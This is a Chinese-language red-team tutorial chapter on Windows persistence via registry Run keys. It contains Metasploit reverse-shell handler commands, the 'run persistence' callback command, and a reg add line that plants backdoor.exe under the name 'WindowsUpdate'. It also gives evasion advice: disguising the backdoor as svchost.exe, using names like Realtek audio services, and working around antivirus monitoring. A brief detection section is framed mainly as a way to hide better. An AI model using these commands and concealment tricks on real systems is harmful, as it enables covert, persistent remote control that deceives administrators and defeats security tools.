一、注册表RUN键值:最经典的自启动后门

持久化控制,说白了就是让后门程序在目标机器上「赖着不走」。哪怕管理员重启系统、注销登录,后门依然能自动运行。Windows下实现持久化的方式很多,但注册表RUN键值绝对是最经典、最基础的一种。

我个人习惯把注册表RUN键值比作「Windows的自动启动文件夹」。你放个程序进去,系统启动时就会自动加载它。攻击者利用这个机制,就能实现后门的开机自启动。

1.1 注册表RUN键值的位置

Windows注册表中有几个关键位置,专门用来存放开机自启动的程序。我整理了一下,主要有以下两个路径:

注册表路径 作用范围 说明
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 当前用户 只对当前登录用户生效
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run 所有用户 对所有登录用户生效,权限要求更高

嗯,这里要注意:HKEY_LOCAL_MACHINE下的RUN键需要管理员权限才能写入。如果你拿到的shell是普通用户权限,那就只能写HKEY_CURRENT_USER了。

1.2 Metasploit中的实现方式

在Metasploit里,实现注册表RUN键值持久化非常简单。我常用的模块是exploit/windows/local/persistence,或者直接用post/windows/manage/persistence_exe

先看一个最直接的例子:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 4444
exploit -j

# 拿到Meterpreter会话后,执行持久化
run persistence -X -i 10 -p 4444 -r 192.168.1.100

这里的参数我解释一下:

  • -X:表示写入注册表RUN键值(自动启动)
  • -i 10:每隔10秒尝试连接一次(重连间隔)
  • -p 4444:目标端口
  • -r 192.168.1.100:你的IP地址

执行完这条命令,Metasploit会自动生成一个VBS脚本,放到目标机器的临时目录下,然后在注册表RUN键里添加一个指向该脚本的条目。

核心逻辑:注册表RUN键 → 指向VBS脚本 → VBS脚本加载Payload → 建立反向连接

1.3 手动操作:注册表写入后门

有时候自动化工具会触发杀软,我更喜欢手动操作。说白了,就是自己写注册表项。

假设你已经把后门程序backdoor.exe上传到了目标机器的C:\Windows\Temp\目录下。接下来手动添加注册表项:

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "C:\Windows\Temp\backdoor.exe" /f

这条命令的意思是:在HKCU\...\Run下新建一个名为WindowsUpdate的字符串值,值的内容是后门程序的路径。

为什么要起名叫WindowsUpdate?我在项目中遇到过,很多管理员看到这个名字会以为是系统更新服务,不会起疑心。你想想看,如果叫HackerBackdoor,那不是明摆着告诉别人「我是后门」吗?

1.4 避坑指南:我踩过的那些坑

我曾经在一次红队演练中,用注册表RUN键做了持久化,结果第二天发现后门全没了。排查了半天,原来是目标机器装了某款杀软,它监控了注册表RUN键的写入行为。

这里总结几个常见问题:

  • 杀软拦截:很多杀软会监控Run键的写入。解决办法是改用RunOnce键(只运行一次),或者用其他持久化方式配合使用。
  • 权限不足:普通用户只能写HKCU,写不了HKLM。如果目标用户权限低,后门只对当前用户生效。
  • 路径隐藏:不要把后门放在明显的位置,比如桌面。我习惯放在%APPDATA%%TEMP%目录下,文件名伪装成系统文件,比如svchost.execonhost.exe
  • 重连间隔:间隔太短容易被发现,太长又影响控制效率。我个人习惯设成30-60秒。

警告:注册表RUN键是最容易被检测的持久化方式之一。如果目标环境有EDR或高级杀软,建议配合其他技术使用,比如DLL劫持或服务持久化。

1.5 知识体系:注册表RUN键持久化核心逻辑

下面这张图展示了注册表RUN键持久化的完整流程:

注册表RUN键持久化核心流程 1. 获取Meterpreter会话 2. 上传后门程序 3. 写入RUN键值 4. 系统重启触发 5. 加载Payload 6. 建立反向连接 ✅ 持久化控制成功!每次重启自动运行后门 关键点:注册表RUN键 → 后门程序路径 → 系统启动时自动执行

1.6 检测与清除

作为红队,我们不仅要会「攻」,还要懂「防」。了解检测方法,才能更好地隐藏自己。

检测注册表RUN键后门的方法:

  • 使用reg query命令查看:reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  • 使用Sysinternals工具Autoruns,它能列出所有自启动项
  • 查看任务管理器中的「启动」选项卡

清除方法也很简单:

reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /f

小技巧:如果你想让后门更隐蔽,可以尝试把值名伪装成系统服务的名称,比如RtkAudUService(Realtek音频服务)或IntelGraphics。管理员看到这些名字,大概率不会去深究。

1.7 实战总结

注册表RUN键持久化,是每个红队工程师必须掌握的基础技能。它简单、直接、有效,但也容易被检测。我个人建议把它作为持久化的「第一道防线」,配合其他技术一起使用。

记住几个关键点:

  • 权限决定你能写哪个注册表路径
  • 伪装名字和路径是生存的关键
  • 重连间隔要合理,别太频繁
  • 杀软和EDR是最大的敌人

好了,这一章的内容就到这里。注册表RUN键虽然基础,但用好它,你就能在目标机器上站稳脚跟。


专注资料整理